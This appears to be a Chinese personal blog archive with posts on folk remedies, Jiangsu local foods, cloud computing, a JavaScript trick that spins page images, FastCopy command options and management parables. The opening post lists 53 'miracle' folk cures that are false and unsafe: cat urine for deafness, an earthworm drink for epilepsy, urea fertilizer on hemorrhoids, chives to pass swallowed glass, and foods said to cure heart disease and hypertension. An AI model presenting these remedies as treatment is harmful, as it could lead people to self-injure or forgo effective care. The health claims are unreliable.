青莲洲 - 知识太平洋

中医53个很牛的秘方

2012-02-23T13:25:57+08:00

中医53个很牛的秘方

　　1、牙齿变白：刷牙时在牙膏上加上一点小苏达，刷三次后牙齿洁白如玉，牙锈自然脱落。

　　2、怎么戒烟：槟榔一只，钻个小孔，再往小孔里灌入一点烟代油用水泡两天取出凉干，想吸烟时，闻一下就不吸了，谁闻都可以戒烟。

　　3、怎么醒酒：醋、白糖、茶叶水各100克，醉酒以后，立即喝下，可达迅速醒酒，多喝醒多更快。

　　4、怎么戒酒：取生杏仁二两少量味精化成水，然后浸泡二在放在酒里两滴，一同少喝，可以戒酒。

　　5、怎样除去口臭：每天放几片茶叶在口中嚼三遍，这样可使你口中保持清香，三天后除去口臭。

　　6、嗓子哑了怎么办：醋精50克，白糖50克，用凉水250克搅拌均匀后，慢慢饮用，一天即可，严重患者晚上增加两次。

　　8、牛皮癣：半斤米醋浸泡一两去皮的松树籽，泡二天后，一日擦三次，效果更佳。也可用一匙桔皮粉加半匙香油调勺涂抹。

　　9、牙痛绝招：用桃仁放在火上烧热以后放在痛牙上咬，如此几次永不牙痛。

　　10、鼻子流血怎么办：当鼻子大量流血时，患者放平躺下，将鼻眼相反的手高举，穴位自动封死，血立即可止。

　　11、鱼刺卡喉：用陈醋漱喉部，然后慢慢咽下，反复几次即可治愈。

　　12、脚气小窍门：米醋一斤，将醋倒入盆内，浸泡或浸洗，每日两次，每次约一小时，消炎杀菌，可治脚化，又简单，见效又快，轻者四天根治。

　　13、病后耳聋、耳鸣：大蒜味猫鼻猫自尿。猫尿滴耳三次一次两滴可根治病后耳聋。耳鸣可将蛇皮焙成灰，吹入耳中，连吹三次可治耳鸣。

　　14、控制糖尿病新方法：新鲜玉米粒一斤。加水适量煎煮，至玉米开花后分四次，每天喝一碗，此方不能去根，只能控制病情。可以降低血糖。有浮肿尿量增多的患者服用，效果特别好。

　　15、睡觉打呼咬牙睡觉时口含桔皮一块，含十五分钟后吐出3-5次可根治的呼咬。

　　16、脚臭、脚出汗：白矾研成细末，擦脚掌心10分钟3-4次脚以后不再出汗不臭。可保持七八个月。

　　17、癫痫(羊角疯)：蚯蚓一条，白矾半两放入大碗中用开白水冲开。一次一碗晨起空腹，连喝十天。

　　18、口腔炎症：每天早晚吃梨一个，慢慢咽下，保持3-4天，立即好转。病情严重的也可以用本方治疗。

　　19、冠心病：黄豆50克，煮熟加食盐适量多吃连吃3-4天，此方对控制冠心病不发展，特别理想，犯病以后再用此方。

　　20、治偏头痛窍门：用白色的萝卜皮贴在两面的太阳穴上，每晚贴20分钟，可达速效，头不痛就不用再贴了，此方主治头晕脑涨。

　　21、治痔疮偏方：尿素三两放盆中开水冲开后将毛巾放入沾湿后拧干放凳上腾。一次十分钟一天三次，边腾七天。可治内外痔，便血脱肛。

　　22、急速催奶：芝麻炒熟，加入盐少许，最好是产前10天就开始吃，进餐时作副食，可快速增乳汁，吃得越多奶来的越快。

　　23、治失眠小窍门：将大葱白切碎放在小盘内，临睡前把小盘摆在枕头边便可安然入睡，连续几天可根治，常年睡不着觉者，边疆治疗5天便可去根。

　　24、心脏病：每天早晚各吃菠萝50克，5-7天效果最佳，2年左右不会犯病，犯病以后，再接着吃一次，病重者每天吃二次，可以稳固病情。

　　25、视力减弱怎么办：杏皮晒干撕碎作个小枕头可醒目养神。对视力减弱。见风流泪近视远视等都有一定的疗效。

　　26、手脚裂口：药用风湿膏，贴在患处，一天后取下即可长好百发百中。

　　27、皮炎小窍门将线瓜叶搓碎在患处磨擦发红为止，每七天搓一次3次即可，严重者连用6次即可治愈。

　　28、鼻炎：用棉花球沾一滴香油放在鼻内15分钟后取出连续2-3天，每天三次，严重者多用2次。也可用大蒜泡醋插入鼻中。

　　29、高血压新鲜海带二两，作成一碗海带汤，不要往里放虽的青菜，清晨空腹喝下，连服十日即可，海带能快速恢复血压正常。

　　30、肾虚：新鲜江豆100克，加水煮烂加食盐少许，每顿饭前服用3-5日可恢复健康，如经常吃对强身壮力效果最佳。

　　31、脸上去斑法：杏会用水泡后去皮，捣烂如泥，加一个蛋清调匀，每晚睡前，次晨用白酒洗去，直至斑退。

　　32、胃病民间治法取红皮鸡蛋壳二十个放在成瓦片上用火焙干研成细末，用糖水服用，饮前服一小勺，一日2次，服完为止，此方十分珍贵，同时对补钙和软骨病都有很好的疗效。

　　33、跌打伤筋：将韭菜捣烂，少对一点小男孩尿，贴在伤处几小时即可消肿，三日后可以恢复正常。

　　34、快速减肥：去国营茶庄买二两乌龙茶，喝一周乌龙茶能快速融化脂肪促进脂肪代谢，达到减肥，又能预防肥胖症的发生。(茶浓)

　　35、长寿秘决: 经常运动，不气不愁，年年保持多吃糖蒜，糖蒜是延长寿命的最佳良药，它可杀死体内多种有害菌。

　　36、月经不调：到乡下取苏子叶二两，用热水泡后饮用轻者四杯即可，重者多饮几日，它能速效调经安神作用，对痛经寒大经期不正常有特效。

　　37、少白头：用500克扇贝壳(干贝)煎水洗头，每天洗一次连洗6-8次，使再长出来的头发又黑又粗，如白头特别多可多洗几次。

　　38、粗皮肤变嫩：每口晚上用一个鸡蛋清擦脸，一小时后用清水洗掉，如能经常擦，皮肤越来越嫩。

　　39、肩周炎、腰腿痛、坐骨、腰脱：将土元(上憋子)七个焙成灰，黄酒七两，共放一瓶内泡七天七夜，每晚七时喝七钱黄酒，并用拳头用力调皮打患处七七四下九下，病重者多服几疗程可痊愈。

　　40、肺结核偏方：500克活茧蛹用火焙干研成细末，每次用3-5克一日2次，服完为止，效果十分好，此方是中国中医研究院提供。

　　41、关节炎止痛法：用谷草烧成灰，装入小袋中，哪痛往哪贴，每晚贴一小时，贴3次治愈。此方又简单。效果又好，对腰腿痛有明显好转。

　　42、腋下狐臭：米醋100克，茴香粉5克。调和匀涂擦腑下数次狐臭立即消失。

　　43、瘙痒怎么办：取一块生姜切开擦脚心，男擦左女擦右，一次擦十分钟。

　　44、骨质增生：羊胫骨四根，用大柴火烧成焦黄色后捣碎成面，每天晚饭后用一两黄酒送服，连用数次。

　　45、误吞金属硬物：将韭菜炒熟大口下即可便出，碎玻璃片，吃肚里以后，也可以用此方。

　　46、手脚麻木：浸泡好的黑木耳、桃仁、蜂蜜各120克，共捣如泥，放碗内蒸热，分4天吃完永不麻木，孕妇禁用。

　　47、掉头发、起头皮：大白菜根去泥洗净切片放锃锅内加两久水煮开后加醋精洗头，连洗七八天，可使头发柔顺，光亮，头皮很快消失。头发一根不掉。

　　48、灰指甲怎么治：将紫皮大蒜捣烂如泥，再加少许白矾涂在灰指甲上。不要抹的太厚。然后用塑料布将指甲封好。塑料布透光封闭效果好只需七八天，觉得有涨的感觉就好了。

　　49、怎样打掉蛔虫：南瓜子(去壳留仁)50-100个研碎加水糖适量拌成糊状，空腹服用一次可好，本方能打掉小儿多种病虫。

　　50、乳腺炎怎么治：仙人掌一小块研碎加三滴香油后患处。

　　51、怎么治脚鸡眼：用一块胶布中间剪一小眼，贴鸡眼上，小眼出现鸡眼，再撒眼上一点尿素面(化肥)再用一块胶布压住，三日换一次，换六次，鸡眼自消自灭。

　　52、前列腺炎：干枣三两，雄鸡肝三个，用火炖烂，连汤喝，连喝三次。

　　53、类风湿症：用鲜嫩的桑树枝，多少均可，切碎，拌一点酒用锅炒黄色后，加水熬水眼，早晚各服一杯，见效连服。

江苏的特产

2011-11-18T19:29:00+08:00

【江苏特产】：
泰州特产：
　　黄桥烧饼梅兰春酒靖江肉脯泰兴白果难得米酒兴化清炒鲨鱼片泰州三麻（麻油、麻糕、麻饼）刁铺羊肉溱湖八鲜（溱湖簖蟹、溱湖甲鱼、溱湖银鱼、溱湖青虾、溱湖水禽、溱湖螺贝、溱湖四喜【大四喜"青(鱼)、白(鱼)、鲤(鱼)、鳜(鱼)" 小四喜"昂(刺)、旁( 皮)、罗(汉)、鲹(鱼)"】、溱湖水蔬）
　　盐城特产：
　　建湖藕粉参燕八珍糕伍佑醉螺东台鱼汤面奇园蟹黄包拆烩推浪鱼烩素鱼皮鯮鱼饼东沟茶干白首乌粉阜宁大糕杨五香肠伍佑糖麻花钩针衣生炝条虾白炖鲻鱼叉烤野鸡片四鳃鲈鱼青蒲簖蟹
　　南京特产：
　　南京盐水鸭雨花石雨花茶金陵金箔金陵折扇六合牛脯南京板鸭南京剪纸南京云锦
　　苏州特产：
　　碧螺春茶采芝斋糖果宋锦苏式蜜饯苏式糕点卤汁豆腐干苏绣太湖银鱼桃花坞木刻年画红木雕刻缂丝（刻丝）苏扇微雕玉雕太仓肉松太仓糟油常熟花边昆山并蒂莲奥灶面阳澄湖大闸蟹长江三鲜
　　徐州特产：
　　沛县狗肉邳州银杏小儿酥烙馍龟打牛蒡酱窝头富士苹果苔干冬桃银鱼李寨白酥梨
　　连云港特产：
　　灌云豆丹板浦凉粉汪恕有滴醋（灌云）凤鹅东海水晶云雾茶葛藤粉汤沟大曲王子啤酒草编柳编金镶玉竹玉兰花(白、紫)
　　宿迁特产：
　　水晶山楂糕天岗湖银鱼沭阳石榴泗洪空心挂面龙嫂米线桃核雕刻洋河大曲埠子车轮饼宿迁满汉筵席穿城大饼八集小花生韩山蓝晶石五香大头菜
　　淮安特产：
　　灌汤蒸饺高沟捆蹄淮安菜炒饭文楼汤包震丰圆馄饨盱眙十三香龙虾平桥豆腐鼓楼茶馓淮城蒲菜鼓楼茶馓

　　扬州特产：
　　扬州炒饭高邮双黄蛋牛皮糖三丁包扬州绿茶扬州煮干丝纸花扬州酱菜扬州漆器扬州玉器
　　
　　镇江特产：
　　镇江香醋肴肉锅盖面百花贡酒镇江鲥鱼镇江膏药小磨麻油汉白玉插屏金山灯彩机绣制品绒花制品
　　南通特产：
　　西亭脆饼正场薰糕狼山鸡南通嵌桃麻糕白蒲黄酒石港乳腐凤尾鱼罐头白蒲“三香斋"茶干海鲜珍品——文蛤薄荷脑蓝印花布南通风筝勾针衣南通刺绣扎染季德胜蛇药片王氏保赤丸董糖如皋萝卜林梓潮糕如皋肉松、火腿、肉松盆景（如派和通派）海门羊肉南通宁宁正柴胡饮颗粒启东盖天力白加黑感冒药
　　常州特产：
　　刻纸留青竹刻乱针绣梳篦银丝面加蟹小笼包金钱菜大麻糕茅尖花红南式麻糖天目湖砂锅鱼头金坛剪纸
　　无锡特产：
　　长江三鲜（鲥鱼、刀鱼、河豚）惠山泥人惠山油酥江阴黑杜酒清水油面筋三凤桥酱排骨蜀山陶器无锡水蜜桃方糕无锡毫茶豆腐花无锡小笼包和桥豆腐干

云计算体系结构：提供三类云服务

2011-11-14T21:20:15+08:00

　　云体系结构划分

　　我们将云计算看成是一个组合的服务。我们通过云层次栈将云的三种模型：PaaS，IaaS和SaaS三种服务归属于云系统不同软件架构层。

　　用户通过应用层提供的Web门户访问服务。一般来说，该服务是收费项目。但是这种商业模式得到大多数用户的青睐，因为它减少对软件维护的压力和操作支持的费用。另外，用户从用户终端导入到数据中心，大大降低用户对硬件需求。云软件环境层也就是软件平台(PaaS)。该层用户是云平台开发者，他们将应用部署在云平台上。

　　云软件基础设施层(IaaS)该层为高层提供基础性资源，可以组成新的云软件环境或者应用。提供云服务分为三类：计算资源、数据存储和通信设施。

　　计算资源：给云用户提供虚拟机。

　　数据存储：允许用户在远程硬盘上存储数据并在任何时候访问数据，它有效的扩大云用户群。数据存储系统一般要满足维护用户数据的诸多要求包括可用性、安全性、备份与数据一致等等。

　　通信设施：云服务对于网络的质量有着较高的要求，是的网络通信成为云系统中一个至关重要的基础设施组件。云系统提供的通信能力：面向服务、结构化、可预测和可靠性。

　　软件内核：该层次负责管理云的物理服务器基础软件管理。软件内核可以看做是操作系统内核。网格计算部署和运行在该层集群上，但是有网格缺乏虚拟化抽象，任务与真实的硬件基础设施有着密切的联系。固件和硬件：形成云的硬件骨架和交换机。

　　云计算与IDC相比，对于资源利用率也有很大的不同。IDC一般采用服务器托管和虚拟主机方式对网站提供服务。每个IDC组所获得的网络带宽、处理能力和存储空间都是固定的。然而，大部分网站之间的资源其实是不均衡的。因此，IDC无法面对突发流量所带来的影响，会造成资源的瘫痪与浪费。

　　而云计算提供弹性的服务，它根据每个租用者的需要，在一个超大的资源池里面动态分配和释放资源，而且不需要为每个租用者提供峰值资源。而且云计算数量大、资源多、利用率可高达80%左右，优势传统IDC的5~7倍。因此，云计算是IDC未来发展的趋势。

　　1、节能降耗

　　在能源成本方面，每台瘦客户机相对于每台PC机，PC机每年耗能成本是瘦客户机的约6.25倍。

　　2、维护成本基本可以忽略不计,虚拟化平台的瘦终端是分散安装，集中管理，服务独享。这样不仅解决了客服电话座席营销问题，而且99%的故障都可在服务端集中解决，每年维护费均摊后基本可忽略不计;原有PC是分散安装，分散维护方式，设备损坏更换费用就更大了，更主要的是，由于营业网点分散，维护中大量时间消耗在远程路途上，维护功效很低。

　　3、系统稳定可靠，且能长时间运行通过数据集中改善桌面管理，提高数据与系统安全，有效提高系统的稳定可靠性。另外，数据中心的服务器与部署在桌面的瘦客户机在设计方面都具有更高的可靠性，整机寿命长，支持长时间连接工作;在虚拟化技术方面，其还具有DRS、HA、FT等高级特性，这些都有效保证了系统的稳定可靠连续运行。

　　4、实现管理集中，提高可管理和可维护性通过应用、桌面、用户数据的集中，真正实现IT的集中管理，无需管理员再到坐席对每台PC进行单点维护，大大提高可管理和可维护性。

　　5、节能环保、无噪音，营造更为安静舒适的工作环境瘦客户机采用高速超低功耗CPU及先进的散热技术设计，整机无风扇，功耗低，节能环保无噪音，更易营造安静舒适的呼叫中心工作环境。

　　6、可管理性

　　模块化(“分而治”)的概念将更容易在控制台查看和计算接入数量的要求。

　　7、安全性高

　　瘦客户机与现有终端安全机制紧密结合，实现与使用物理PC时一样的严格准入以及权限控制。对于用户配置文件的可见性增强使用的安全性。在任何站点的修改必须采用远程管理，并对该操作进行录像审计，因此具有高度安全性。

神奇的代码

2011-11-05T18:45:50+08:00

浏览器可以浏览网页，可以查看图片、视频，可以保存图片等等功能，但你可能没有想到或没有见到过下面这个功能：访问的页面中包含的图片元素围绕在一起有规律的旋转！

这是如何实现的呢？首先随便打开一个网站，随便一个网站都行！然后复制下面的代码到地址栏中，回车确定，看看发生了什么？
下面是代码！

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

fastcopy DOS命令行参数说明

2011-04-05T12:56:32+08:00

fastcopy是一款复制删除文件的工具,为什么要用它,因为他比系统的复制删除要快,特别是文件超多,超大的情况下.

FASTCOPY可以在WINDOWS下使用,也可以在DOS下运行命令

下面是FASTCOPY命令行方式:

fastcopy.exe [/参数] file1 file2 ... [/to=dest_dir]

基本参数:

/cmd=(noexist_only|diff|update|sync|force_copy|move|delete)

noexist_only 复制-如重名,则不复制

diff 复制-如重名,则公复制大小与时间不同的文件

update 复制-如重名,则复制较新的源文件

sync 同步-如重名,则复制大小与时间不同的文件

force_copy 复制-覆盖重名文件

move 移动-覆盖重名文件并强行删除源文件

delete 删除-强行删除指定的文件与目录

/auto_close 拷贝结束后,自动关闭

/force_close 如果拷贝结束后,发生错误,也强行关闭

/open_window 显示Fastcopy窗口界面

/estimate 预测拷贝完成时间

/no_exec 对Fastcopy窗口界面设置参数,但是不执行

/no_confirm_del 当用/delete参数时,不显示确认界面

/error_stop 发生错误时中止动作（在/error_stop=FALSE抑制）

/bufsize=N(MB) 用MB单位来指定缓冲器大小

/speed=(full|autoslow|9-1(90%-10%)|suspend) 速度限制

/log 输出记录文件(fastcopy.log) （在/log=FALSE抑制）

/skip_empty_dir 启用过滤,不拷贝空文件夹（在/skip_empty_dir=FALSE抑制）

/job=任务名称执行指定的任务

/force_start 在其他的FastCopy拷贝,并且正执行的时候,执行立即也（在/force_start=FALSE抑制）

/disk_mode=(auto|same|diff) 指定自动/恒等性/其他HDD方式。(债务不履行声明：) auto)

/include="..." 指定Include过滤器

/exclude="..." 指定Exclude过滤器

/overwrite_del 在删除文件之前,删掉方式时,重新取名给重复&,使复原无效（在/overwrite_del=FALSE抑制）

/acl 拷贝存取支配清单(ACL)（只NTFS有效）（在/acl=FALSE抑制）

/stream 拷贝副其次线流（只NTFS有效）（在/stream=FALSE抑制）

/junction 复制junction·mount point(不是属下)junction·mount point自己(/junction=FALSE 拷贝属下)

/symlink 用象征性连接(而不是本质)拷贝象征性连接其本身（在/symlink=FALSE拷贝本质）

[/to=dest_dir] 目标磁盘

fastcopy.exe [/options] file1 file2 ... [/to=dest_dir]

Please use space character(' ') as separator(not semicolon).
If filename contains space character, please enclose with dobule quotation marks.
Ex) fastopy.exe C:\Windows "C:\Program Files" /to="D:\Backup Folder\"
使用"做为分隔符

c:\Progra~1\FastCopy\FastCopy.exe /cmd=sync /auto_close /open_window "\\ztsv-xs\e\网络游戏\永恒之塔" /to="e:\games\online\"

如上例就是将永恒之塔写入到E：盘，要注意目标盘后加\

管理学理论大全

2010-10-02T12:34:00+08:00

【蝴蝶效应】【青蛙现象】【鳄鱼法则】【鲇鱼效应】【羊群效应】【刺猬法则】【手表定律】
【破窗理论】【二八定律】【木桶理论】【马太效应】【鸟笼逻辑】【责任分散效应】【帕金森定律】
【晕轮效应】【霍桑效应】【习得性无助实验】【证人的记忆】【罗森塔尔效应】【虚假同感偏差】
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【蝴蝶效应】
蝴蝶效应:上个世纪70年代，美国一个名叫洛伦兹的气象学家在解释空气系统理论时说，亚马逊雨林一只蝴蝶翅膀偶尔振动，也许两周后就会引起美国得克萨斯州的一场龙卷风。　　
蝴蝶效应是说，初始条件十分微小的变化经过不断放大，对其未来状态会造成极其巨大的差别。有些小事可以糊涂，有些小事如经系统放大，则对一个组织、一个国家来说是很重要的，就不能糊涂。
今天的企业，其命运同样受“蝴蝶效应”的影响。消费者越来越相信感觉，所以品牌消费、购物环境、服务态度……这些无形的价值都会成为他们选择的因素。所以只要稍加留意，我们就不难看到，一些管理规范、运作良好的公司在他们的公司理念中都会出现这样的句子：
“在你的统计中，对待100名客户里，只有一位不满意，因此你可骄称只有1%的不合格，但对于该客户而言，他得到的却是100%的不满意。”
“你一朝对客户不善，公司就需要10倍甚至更多的努力去补救。”
“在客户眼里，你代表公司”。
今天，能够让企业命运发生改变的“蝴蝶”已远不止“计划之手”，随着中国联通加入电信竞争，私营企业承包铁路专列、南京市外资企业参与公交车竞争等新闻的出现，企业坐而无忧的垄断地位日渐势微，开放式的竞争让企业不得不考虑各种影响发展的潜在因素。
精简机构、官员下岗、取消福利房等措施，让越来越多的人远离传统的保障，随之而来的是依靠自己来决定命运。而组织和个人自由组合的结果就是：谁能捕捉到对生命有益的“蝴蝶”，谁就不会被社会抛弃。
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【青蛙现象】
青蛙现象：把一只青蛙直接放进热水锅里，由于它对不良环境的反应十分敏感，就会迅速跳出锅外。如果把一个青蛙放进冷水锅里，慢慢地加温，青蛙并不会立即跳出锅外，水温逐渐提高的最终结局是青蛙被煮死了，因为等水温高到青蛙无法忍受时，它已经来不及、或者说是没有能力跳出锅外了。　　
青蛙现象告诉我们，一些突变事件，往往容易引起人们的警觉，而易致人于死地的却是在自我感觉良好的情况下，对实际情况的逐渐恶化，没有清醒的察觉。
启示之一是：我们的组织和社会生存的主要威胁，并非来自突如其来的事件，而是由缓慢渐进而无法察觉的过程形成。人们目光短浅，只看到局部，而无法纵观全局，对于突如其来的变化，可以从容面对，对于悄悄发生的大的变化，而无法察觉，最终会带给我们更加严重的危害！~
启示之二是：青蛙，就好象是我们生活中的芸芸众生，我们要着眼未来，勤于思考新的问题，勤于学习新的知识，不能过“今日有酒，今日醉”和“当一天和尚，撞一天钟”的醉生梦死的生活，到头来将是非常可悲的！
启示之三是：当今的社会，是一个知识爆炸、日新月异的时代，知识也需要不断更新，所以我们不要一味的沉迷于现状、安于现状，不思进取，这样下去的话，肯定会被时代所淘汰，也会有面临失业的危险！
启示之四是：我们不要单纯的，只能面对突如其来的危险，而忽视那种缓慢而又微小甚微的危险，因为，那种缓慢而又微小甚微的危险，才是最可怕的！
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【鳄鱼法则】
鳄鱼法则：其原意是假定一只鳄鱼咬住你的脚，如果你用手去试图挣脱你的脚，鳄鱼便会同时咬住你的脚与手。你愈挣扎，就被咬住得越多。所以，万一鳄鱼咬住你的脚，你唯一的办法就是牺牲一只脚。
譬如在股市中，鳄鱼法则就是：当你发现自己的交易背离了市场的方向，必须立即止损，不得有任何延误，不得存有任何侥幸。
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【鲇鱼效应】
以前，沙丁鱼在运输过程中成活率很低。后有人发现，若在沙丁鱼中放一条鲇鱼，情况却有所改观，成活率会大大提高。这是何故呢?
原来鲇鱼在到了一个陌生的环境后，就会“性情急躁”，四处乱游，这对于大量好静的沙丁鱼来说，无疑起到了搅拌作用;而沙丁鱼发现多了这样一个“异已分子”，自然也很紧张，加速游动。这样沙丁鱼缺氧的问题就迎刃而解了，沙丁鱼也就不会死了。
当一个组织的工作达到较稳定的状态时，常常意味着员工工作积极性的降低，“一团和气”的集体不一定是一个高效率的集体，这时候“鲶鱼效应”将起到很好的“医疗”作用。一个组织中，如果始终有一位“鲶鱼式”的人物，无疑会激活员工队伍，提高工作业绩。
“鲶鱼效应”是企业领导层激发员工活力的有效措施之一。它表现在两方面，一是企业要不断补充新鲜血液，把那些富有朝气、思维敏捷的年轻生力军引入职工队伍中甚至管理层，给那些固步自封、因循守旧的懒惰员工和官僚带来竞争压力，才能唤起“沙丁鱼”们的生存意识和竞争求胜之心。二是要不断地引进新技术、新工艺、新设备、新管理观念，这样才能使企业在市场大潮中搏击风浪，增强生存能力和适应能力。
关于鲶鱼效应的应用，目前已有鲶鱼效应在人力资源管理中的应用、在领导活动中的应用，具体包括竞争机制的建立、能人的启用、领导风格的变革等等。但笔者认为鲶鱼效应的分析和应用远不止这些。思考问题的视角不同，发现问题、解决问题的方法就不同。
首先，如果鲶鱼本体代表领导者。
领导者即影响他人完成任务的个体或者集体，在死气沉沉的沙丁鱼箱内，沙丁鱼就象征着一批同质性极强的群体，他们技能水平相似，缺乏创新和主动性，人浮于事，效率低下，整个机构是一种臃肿不堪的状态，而鲶鱼领导者的到来（或者内部沙丁鱼进化成鲶鱼），新官上任三把火，整顿纪律，规范制度，改造流程，合理配置岗位和人、财、物，逐渐组织的经营有了起色，成本减下来了，臃肿的机构简化了，无能的沙丁鱼被吃了、赶走了，有能耐的沙丁鱼得到了正面的激励，这样整个机构呈现欣欣向荣的景象，在鲶鱼领导者的带领下，整个组织的活力都被调动起来，从而使集体的力量更加强大，占领市场、保有市场才有了坚实的基础。
从这个角度看，鲶鱼领导者应该具备如下特质：
1-办事果断、雷厉风行：迅速发现组织停滞不前的病症所在，并能够快刀斩乱麻，迅速而有效地解决问题。
2-说话算话、强势作风：科学地决策，并能够监督决策的执行，及时评估政策的有效性。
3-倡导创新、结果导向：提倡创新，塑造鼓励创新的氛围，从业务流程、工作设计、人员招聘与配置、薪酬设计和考核等方面体现创新思想，体现创新的利。
4-成就需求、前瞻视野：有短中长期发展规划和目标，能够预见组织发展的方向以及现存人力资源与未来的差距，能够有效地辨别未来人才，裁减掉不适合组织发展的拖后腿人员。
5-系统视角、敢于变革：能够从系统内外观察组织系统结构的变化和功能，既要把自己当作组织的一部分（相对于渔夫，鲶鱼领导者本身也是沙丁鱼，渔夫才是领导者），又要把自己看成一个小系统中的领导者，能够带动员工队伍打开局面、打破常规，取得良好效益。
对于在领导者领导下为了共同目标而奋斗的职工群体而言，如果领导者有鲶鱼特性，那么要生存下去的方法就是运动起来，激发自己的能量，至少要和鲶鱼同步速度，并且要保证同一方向（企业目标），这样才不至于被鲶鱼追上吃掉，或者被其他沙丁鱼挤到最后憋死。
其次，如果鲶鱼代表团队中一员。
那么它就意味着新、奇、异，包括观点的不一样、行为的不同、习惯的迥异，正因为不同，才会激发智慧，一个团队需要不同性格、不同技能、不同工作经历的人加盟，如果都是清一色的员工，那么这个团队产生奇思妙想、产生高绩效的可能性是微乎其微的。在注重团队建设、致力团队沟通的今天，适当地吸引一些鲶鱼加入团队，会给整个团队带来活泼的工作气氛，带来创新，带来多赢。但是鲶鱼的数量应当加以控制，全是鲶鱼的话，整个团队就会出现“个个是英雄、整体是狗熊”的现象，因为个个鲶鱼都想坚持自己的观点，合作和沟通就不存在了，整个团队就乌烟瘴气了，所以日本有些企业信奉“一流管理者、二流员工”的用人信条，既然一条鲶鱼能够带动一群鱼翻腾搅动，那就没有必要再放第二条了，一山不容二虎也是这样的道理。从这个角度看，团队中的鲶鱼分子应注重良性沟通、影响力的塑造，其他员工对待团队中的鲶鱼，也应该在工作的基础上与其加强合作。　
再次，如果鲶鱼代表让人来劲的工作内容。
现在在很多企业，组织结构和工作设计依然成为流程改造的一大课题，不合理、枯燥无味、没有前景、单调无聊的工作内容让人们感觉像一桶拥挤的沙丁鱼一样没有激情，不愿意在岗位上多思考多改进，以致慢慢地形成了集体惰性。如果能够把工作扩大化、丰富化的鲶鱼效应应用到工作设计（Jobdesigning）上，那对组织的财务贡献也是显而易见的。如何把好动、充满激情的鲶鱼放到一潭死水的工作中呢？这又是一门棘手的学问，有人主张从横向和纵向扩大工作范围、深化工作内容，让员工们体验丰富的工作活动，感受努力工作的成就，让他们体现面对挑战性、来劲性工作时的激动与欲望；有人主张运用轮岗的方式增长员工的才干，让他们工作中的鲶鱼越游越欢；笔者则主张在应用以上措施的同时还要注重人与岗位性格的匹配，鲶鱼就要做鲶鱼的事情，沙丁鱼就要做沙丁鱼的事情，岗位中既要有鲶鱼性工作内容也要有沙丁鱼性工作内容，最重要的是要发现员工的偏好，看那些工作能够让他们产生鲶鱼的动力与激情，只有匹配了之后，鲶鱼效应才能真正发挥它的作用，不然虽然设置了鲶鱼性工作内容，却发现这种工作根本不能让员工为之动容、为之奋斗，那么这条鲶鱼就成了死鱼了。
从这个角度看，工作中的鲶鱼代表着丰富的工作内容、令人来劲的责权利、充满挑战的工作期望、新鲜的其他岗位体验等等。对于领导者和人力资源管理者而言，是否要在工作中设置鲶鱼工作、在什么层次上设置鲶鱼工作，都将是一个组织的战略问题。
综上，从不同的角度分析，鲶鱼代表的内容是不同的，对于一个从业者，领导可能是鲶鱼，那么你的努力最好和组织保持同方向，不要往后游，否则就有被吃掉的危险，永远充满激情地向上游，也许某一天你也变成了鲶鱼，赶着一群沙丁鱼向上奋斗；你的同事也可能是鲶鱼，那就和他比拼比拼，看谁翻腾的能量更大；你的下级也可能有鲶鱼，那就在激励下属成长的同时，别忘了给自己充充电，保持强劲的势头发展，否则你也有被下属吃掉的危险；你的工作中也可能有鲶鱼，那就合理地安排自己的工作，分清主次，让鲶鱼工作越游越欢，最好能到上一层工作岗位上去搅动一番。
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【羊群效应】
羊群效应：头羊往哪里走，后面的羊就跟着往哪里走。
羊群效应最早是股票投资中的一个术语，主要是指投资者在交易过程中存在学习与模仿现象，“有样学样”，盲目效仿别人，从而导致他们在某段时期内买卖相同的股票。
羊群效应理论（The Effect of Sheep Flock）
在一群羊前面横放一根木棍，第一只羊跳了过去，第二只、第三只也会跟着跳过去；这时，把那根棍子撤走，后面的羊，走到这里，仍然像前面的羊一样，向上跳一下，尽管拦路的棍子已经不在了，这就是所谓的“羊群效应”也称“从众心理”。是指管理学上一些企业的市场行为的一种常见现象。它是指由于对信息不充分的和缺乏了解，投资者很难对市场未来的不确定性作出合理的预期，往往是通过观察周围人群的行为而提取信息，在这种信息的不断传递中，许多人的信息将大致相同且彼此强化，从而产生的从众行为。“羊群效应”是由个人理性行为导致的集体的非理性行为的一种非线性机制。
羊群行为是行为金融学领域中比较典型的一种现象，主流金融理论无法对之解释。经济学里经常用“羊群效应”来描述经济个体的从众跟风心理。羊群是一种很散乱的组织，平时在一起也是盲目地左冲右撞，但一旦有一只头羊动起来，其他的羊也会不假思索地一哄而上，全然不顾前面可能有狼或者不远处有更好的草。因此，“羊群效应”就是比喻人都有一种从众心理，从众心理很容易导致盲从，而盲从往往会陷入骗局或遭到失败。
羊群效应的出现一般在一个竞争非常激烈的行业上，而且这个行业上有一个领先者（领头羊）占据了主要的注意力，那么整个羊群就会不断摹仿这个领头羊的一举一动，领头羊到哪里去“吃草”，其它的羊也去哪里“淘金”。
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【刺猬法则】
刺猬法则：两只困倦的刺猬，由于寒冷而拥在一起。可因为各自身上都长着刺，于是它们离开了一段距离，但又冷得受不了，于是凑到一起。几经折腾，两只刺猬终于找到一个合适的距离：既能互相获得对方的温暖而又不至于被扎。　
刺猬法则主要是指人际交往中的“心理距离效应”。　　
法国总统戴高乐就是一个很会运用刺猬法则的人。他有一个座右铭：“保持一定的距离”！这也深刻地影响了他和顾问、智囊和参谋们的关系。在他十多年的总统岁月里，他的秘书处、办公厅和私人参谋部等顾问和智囊机构，没有什么人的工作年限能超过两年以上。他对新上任的办公厅主任总是这样说：“我使用你两年，正如人们不能以参谋部的工作作为自己的职业，你也不能以办公厅主任作为自己的职业。”这就是戴高乐的规定。这一规定出于两方面原因：一是在他看来，调动是正常的，而固定是不正常的。这是受部队做法的影响，因为军队是流动的，没有始终固定在一个地方的军队。二是他不想让“这些人”变成他“离不开的人”。这表明戴高乐是个主要靠自己的思维和决断而生存的领袖，他不容许身边有永远离不开的人。只有调动，才能保持一定距离，而惟有保持一定的距离，才能保证顾问和参谋的思维和决断具有新鲜感和充满朝气，也就可以杜绝年长日久的顾问和参谋们利用总统和政府的名义营私舞弊。
